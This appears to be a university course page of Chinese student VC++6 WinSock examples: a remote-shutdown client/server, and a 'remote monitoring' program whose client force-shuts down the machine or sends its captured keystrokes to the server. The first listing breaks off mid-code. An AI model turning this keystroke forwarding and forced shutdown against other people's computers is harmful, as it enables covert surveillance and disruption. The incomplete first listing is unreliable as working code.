計算機研究生開放研究
《網絡遠程監控的VC++6編程示例》
美國GeneChiu基金資助
網絡遠程監控的VC++6編程示例
1 遠程關機 編程：研究生 吳勇
這是一個可作服務器也可作客戶的使用WinSock進行網絡遠程關機的VC++6程序：
#include "afxwin.h" //使用MFC的字符串類CSting
#include "winsock.h"
#pragma comment(lib, "wsock32")
#include
#include "assert.h"
#include "iostream.h"
CString m_strServer;
UINT m_nPort;
CString m_strUser;
CString m_strPass;
SOCKET m_hSocket;
SOCKADDR_IN m_addr;
void StartUp();
void CleanUp();
void OnOK();
void SendToServer();
void RecvFromServer();
void StartUpS();
void CreateSocket();
void BindSocket();
void Listen_Recv();
void CleanUpS();
int p=0;
char buff[100];
char buff1[100];
int strlen(char str[]);
char b[100];
char ip[100];
int an=0;
void main(){
cout<<"請輸入1.開啟服務器,輸入2.運行客戶端:";
cin>>an;
if (an==2)
{
cout<<"請輸入服務器IP:";
cin>>ip;
m_strServer = ip;
m_nPort = 2350;
StartUp();
char cc;
do{
OnOK();
cout<<"已經與服務器連接成功，向服務器發送數據\n";
cout<<"請輸入 G 關機:";
cin>>b;
m_strUser =b;
SendToServer();
cout<<"發送成功";
RecvFromServer();
cout<<"\n本次通信完成;再來嗎(y/n)\n";cin>>cc;
}while (cc != 'n');
CleanUp();
}
if(an==1)
{
StartUpS();
CreateSocket();
BindSocket();
Listen_Recv();
CleanUpS();
}
}
void OnOK()
{
if(m_hSocket != NULL){
closesocket(m_hSocket);
m_hSocket = NULL;
}
if(m_hSocket == NULL){
m_hSocket = socket(AF_INET, SOCK_STREAM,0);
assert(m_hSocket != NULL);
}
m_addr.sin_family = AF_INET;
m_addr.sin_addr.S_un.S_addr = inet_addr(m_strServer.GetBuffer(0));
m_addr.sin_port = htons(m_nPort);
int ret = 0;
int error = 0;
ret = connect(m_hSocket, (LPSOCKADDR)&m_addr, sizeof(m_addr));
if(ret == SOCKET_ERROR){
TRACE("Connect Error: %d \n", (error = WSAGetLastError()));
if(error == 10061)
AfxMessageBox(_T("請確認服務器確實已經打開并工作在同樣的端口！"));
return ;
}
}
void SendToServer(){
CString str;
str += m_strUser;
int ret = send(m_hSocket, str, str.GetLength(), 0);
if(ret != str.GetLength()){
TRACE("Send data error: %d\n", WSAGetLastError());
return ;
}
}
void RecvFromServer(){
int ret = recv(m_hSocket, buff1,100, 0);
if(ret == 0){
TRACE("Recv data error: %d\n", WSAGetLastError());
return ;
}
// buff1[ret] = '\0';
// cout<
2 遠程監控程序 編程：研究生 唐鄭熠
這個個遠程監控程序，以命令行“ldc -s”運行時，是作為服務器運行；
以命令行“ldc –c IP”(IP為服務器IP地址)運行時，是作為客戶端運行。
服務器向客戶端發送指令“A”或“B”，若發送指令A，則客戶端控制計算機自動關機；
若發送指令B，則將計算機所有的擊鍵記錄下來發送給服務器。
其中，ASCII值為32～128的可見ASCII字符直接輸出，
其它的不可見ASCII字符以“(%d)”的形式輸出，即括號加上該字符的ASCII值。
#include "afxwin.h"
#include "iostream.h"
#include "assert.h"
#include "winsock.h"
#include "stdio.h"
#include "conio.h"
#include "windows.h"
#pragma comment(lib, "wsock32") //編譯連接時使用靜態連接庫wsock32.lib
UINT m_nPort; //服務器端口號--16位整數
SOCKET m_hSocket; //服務器進程套接字類
SOCKADDR_IN m_addr; //套接字地址結構
CString m_strServer; //服務器IP地址
//SOCKET m_hSocket; //服務器進程套接字類
//SOCKADDR_IN m_addr; //套接字地址結構
char cmd;
void StartUp(); //初始化Winsock的函數:啟動Winsock
void CreateSocket(); //使用socket函數建立服務器進程的流（TCP）套接字
void BindSocket(); //使用bind函數綁定IP地址到套接字，使網絡上可識別該套接字
void Listen_Recv(); //將套接字置入監聽模式并準備接受連接進行通信
void CleanUp(); //終止對Winsock DLL的使用，釋放資源
void OnOK(); //建立TCP通信套接字并與服務器連接
//void SendToServer(); //向服務器發送數據
//void RecvFromServer(); //向服務器發送數據
void server();
void client();
void shutDown();
//從str的頭一個字符往后檢查，直到字符'\0'(其值為0)為止，即返回字符串str字符'\0'前的長
int strlen(char str[]);
int main(int argc, char *argv[]) {
if( argc == 3 ) {
if( !strcmp( argv[1], "-c") ) {
m_nPort = 2350;
m_strServer = argv[2];
client();
}
}
else if ( argc > 3 ){// invalid args.
puts("For server: \n\tusage: echocs [-d]\nFor client:\n\tusage: echocs -c host\n");
return 1;
}
else {
m_nPort = 2350;
server();
}
return 0;
}
void server() {
printf("2007級唐鄭熠—遠程控制服務器\n\n");
/**
1 應用程序初始化：注冊wsock.dll
**/
StartUp();
/**
2 使用socket函數建立服務器進程的流（TCP）套接字：
**/
CreateSocket();
/**
3 使用bind函數綁定IP地址到套接字，使網絡上可識別該套接字，bind原型為
int bind(SOCKET s, const struct sockaddr* name, int namelen)
其中：s為等待連接的未綁定套接字，name為套接字地址結構，更為有用的是
SOCKADDR_IN，用來標識TCP/IP協議下的地址，這時通過強制類型轉換可將
SOCKADDR_IN結構轉換為sockaddr結構
**/
BindSocket();
//UpdateData();//更新用戶在編輯框里對端口的改變,MFC對話框用
/**
4 將套接字置入監聽模式并準備接受連接進行通信：bind只是將套接字與地址關聯在一起；
而使套接字進入等候連接則由函數listen完成，listen的原型為：
**/
Listen_Recv();
/**
5 關閉套接字，終止對Winsock DLL的使用，釋放資源
**/
CleanUp();
}
//初始化Winsock的函數:啟動Winsock
void StartUp()
{
//初始化全局變量
m_nPort = 2350;
m_hSocket = NULL;
//初始化winsock
WSADATA wsaData;
WORD version = MAKEWORD(2, 0); //
//調用WSAStartup函數對Winsock DLL進行初始化，協商Winsock版本，分配資源
int ret = WSAStartup(version, &wsaData);
if(ret != 0)cout<<"初始化錯誤!\n";
}
void CreateSocket() {
//先關閉已經建立的套接字
if(m_hSocket != NULL){
closesocket(m_hSocket);
m_hSocket = NULL;
}
//用socket（構造）函數建立流類型（TCP）套接字
if(m_hSocket == NULL){
m_hSocket = socket(AF_INET, SOCK_STREAM,0);
assert(m_hSocket != NULL); //C語言函數，進行判斷，若不真，則做出錯處理
}
}
void BindSocket(){
//給服務器結構地址m_addr賦值：
m_addr.sin_family = AF_INET; //表示該socket處于Internet域
m_addr.sin_port = htons(m_nPort); //指定服務端口
//sin_addr把一個IP地址保存為4字節的無符號整數，
m_addr.sin_addr.S_un.S_addr = INADDR_ANY; //本機測試時可用，即127.0.0.1
//若使用實際IP地址，可用函數inet_addr將其轉換為4字節的無符號整數
// m_addr.sin_addr.S_un.S_addr=inet_addr("210.40.7.131");
int error = 0;
int ret = bind(m_hSocket, (LPSOCKADDR)&m_addr, sizeof(m_addr));
if(ret == SOCKET_ERROR){
cout<<"Bind Error!\n";//, (error = WSAGetLastError()));
return ;
}
}
void Listen_Recv(){
//cout<<"請按一鍵開始運行服務器";
//char cc;cin>>cc;
//while(1){//服務器永遠循環服務
//偵聽
int ret = listen(m_hSocket, 2);
if(ret == SOCKET_ERROR){
cout<<"Listen Error: %d \n";//, (error = WSAGetLastError()));
return ;
}
//
SOCKET s = accept(m_hSocket, NULL, NULL);
if(s == SOCKET_ERROR){
cout<<"Accept Error: %d \n";//, (error = WSAGetLastError()));
return ;
}
//cout<<"客戶連接成功！\n";
//接受客戶數據
char buff[1];
ret = recv(s, buff, 1, 0);
if(ret == 0 || ret == SOCKET_ERROR ){
cout<<"Recv data error: %d\n";//, WSAGetLastError());
return ;
}
printf("請選擇 A.遠程關機 B.遠程監控鍵盤:");
scanf("%c", &buff[0]);
cmd = buff[0];
ret = send(s, buff, 1, 0);
if (cmd == 'B' || cmd == 'b') {
printf("監聽到的內容：\n");
while (1) {
//偵聽
int ret = listen(m_hSocket, 2);
if(ret == SOCKET_ERROR){
cout<<"Listen Error: %d \n";//, (error = WSAGetLastError()));
return ;
}
//
SOCKET s = accept(m_hSocket, NULL, NULL);
if(s == SOCKET_ERROR){
cout<<"Accept Error: %d \n";//, (error = WSAGetLastError()));
return ;
}
//cout<<"客戶連接成功！\n";
//接受客戶數據
char buff[1];
ret = recv(s, buff, 1, 0);
if(ret == 0 || ret == SOCKET_ERROR ){
cout<<"Recv data error: %d\n";//, WSAGetLastError());
return ;
}
int cnt = 0;
if (buff[0] >= 32 && buff[0] <= 128) {
printf("%c", buff[0]);
cnt++;
}
else {
if (buff[0] == 13) {
printf("\n");
}
else {
printf("(%d)", buff[0]);
}
cnt++;
}
}
}
/**
4 處理客戶消息
**/
///** 回聲服務：向客戶返回消息(20個字節)
//ret = send(s, buff, 20, 0);
//**/
//
//cout<<"處理完成；服務器重新等待客戶連接！\n";
//}
}
//應用程序關閉套接字后，終止對Winsock DLL的使用，釋放資源
void CleanUp()
{
if (WSACleanup() != 0){
cout<<"UnInitilize Error:%d\n";//, WSAGetLastError());
}
}
void client(){
// m_strServer = "127.0.0.1"; //_T("127.0.0.1");
// m_nPort = 2350;
// m_strUser = "貴大";//ware";
// m_strPass = "Guizhou Univ";
printf("2007級唐鄭熠—遠程控制客戶端\n\n");
StartUp(); //初始化Winsock的函數:啟動Winsock
char cc;
char buff[1];
OnOK();//建立通信套接字
//cout<<"已經與服務器連接成功，向服務器發送數據\n";
int ret = send(m_hSocket, buff, 1, 0);
if(ret != 1){
TRACE("Send data error: %d\n", WSAGetLastError());
// cout<<"Send data error: %d\n";//, WSAGetLastError());
return ;
}
ret = recv(m_hSocket, buff, 1, 0);
if(ret == 0){
TRACE("Recv data error: %d\n", WSAGetLastError());
// cout<<"Recv data error: %d\n";//, WSAGetLastError());
return ;
}
cmd = buff[0];
if (cmd == 'A' || cmd == 'a') {
shutDown();
}
else {
char ch;
while(1) {
if (kbhit()) {
OnOK();//建立通信套接字
ch = getch();
buff[0] = ch;
int ret = send(m_hSocket, buff, 1, 0);
if(ret != 1) {
TRACE("Send data error: %d\n", WSAGetLastError());
// cout<<"Send data error: %d\n";//, WSAGetLastError());
return ;
}
}
}
}
/*SendToServer();//向服務器發送數據
cout<<"發送成功，服務器返回數據：\n\n";
RecvFromServer();//從服務器接收數據*/
//cout<<"\n本次通信完成;再來嗎(y/n)\n";cin>>cc;
CleanUp(); //終止對Winsock DLL的使用，釋放資源
}
//調用socket建立TCP通信套接字并與服務器連接
void OnOK()
{
//調用socket建立TCP通信套接字
if(m_hSocket != NULL){
closesocket(m_hSocket);
m_hSocket = NULL;
}
if(m_hSocket == NULL){
m_hSocket = socket(AF_INET, SOCK_STREAM,0);
assert(m_hSocket != NULL);
}
//UpdateData();
//給套接字地址結構賦值
m_addr.sin_family = AF_INET;
m_addr.sin_addr.S_un.S_addr = inet_addr(m_strServer.GetBuffer(0));
m_addr.sin_port = htons(m_nPort);
int ret = 0;//
int error = 0;
//用connect建立連接,連接成功，返回0，否則返回SOCKET_ERROR
ret = connect(m_hSocket, (LPSOCKADDR)&m_addr, sizeof(m_addr));
if(ret == SOCKET_ERROR){//出錯處理
TRACE("Connect Error: %d \n", (error = WSAGetLastError()));
// cout<<"Connect Error!\n";//, (error = WSAGetLastError()));
if(error == 10061)
// AfxMessageBox(_T("請確認服務器確實已經打開并工作在同樣的端口！"));
cout<<"請確認服務器確實已經打開并工作在同樣的端口！\n";
return ;
}
}
/*void SendToServer(){
//
CString str;
str += m_strUser;
str += m_strPass;
//發送數據，如成功，返回發送的字節數
int ret = send(m_hSocket, str, str.GetLength(), 0);
if(ret != str.GetLength()){
TRACE("Send data error: %d\n", WSAGetLastError());
// cout<<"Send data error: %d\n";//, WSAGetLastError());
return ;
}
}*/
/*
void RecvFromServer(){
char buff[256];
/** 接受數據recv函數的返回值：
如無錯誤，返回接到的字節數(bytes received)
如連接已關閉，返回0
要不然，返回出錯處理值：SOCKET_ERROR
**/
/* int ret = recv(m_hSocket, buff, 256, 0);
if(ret == 0){
TRACE("Recv data error: %d\n", WSAGetLastError());
// cout<<"Recv data error: %d\n";//, WSAGetLastError());
return ;
}
buff[ret] = '\0';//ASCII值為0的字符：'\0'
cout<<buff<<endl;//顯示服務器送回數據
//AfxMessageBox(buff);
}*/
//應用程序關閉套接字后，終止對Winsock DLL的使用，釋放資源
/*void CleanUp()
{
if (WSACleanup() != 0){
TRACE("UnInitilize Error:%d\n", WSAGetLastError());
// cout<<"UnInitilize Error:%d\n";//, WSAGetLastError());
}
}*/
//從str的頭一個字符往后檢查，直到字符'\0'(其值為0)為止，即返回字符串str字符'\0'前的長
int strlen(char str[]){
int i=0;
while(str[i])i++;
return i;
}
void shutDown() {
TOKEN_PRIVILEGES tkp, tkpnewbutignored;
HANDLE hdltokenhandle;
LUID tmpluid;
BOOL rc;
DWORD lbufferneeded;
HANDLE hdlprocesshandle = GetCurrentProcess();
rc = OpenProcessToken(hdlprocesshandle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hdltokenhandle);
rc = LookupPrivilegeValue("", "SeShutdownPrivilege", &tmpluid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = tmpluid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
rc = AdjustTokenPrivileges(hdltokenhandle, FALSE, &tkp, sizeof(tkpnewbutignored), &tkpnewbutignored, &lbufferneeded);
ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE, 0);
}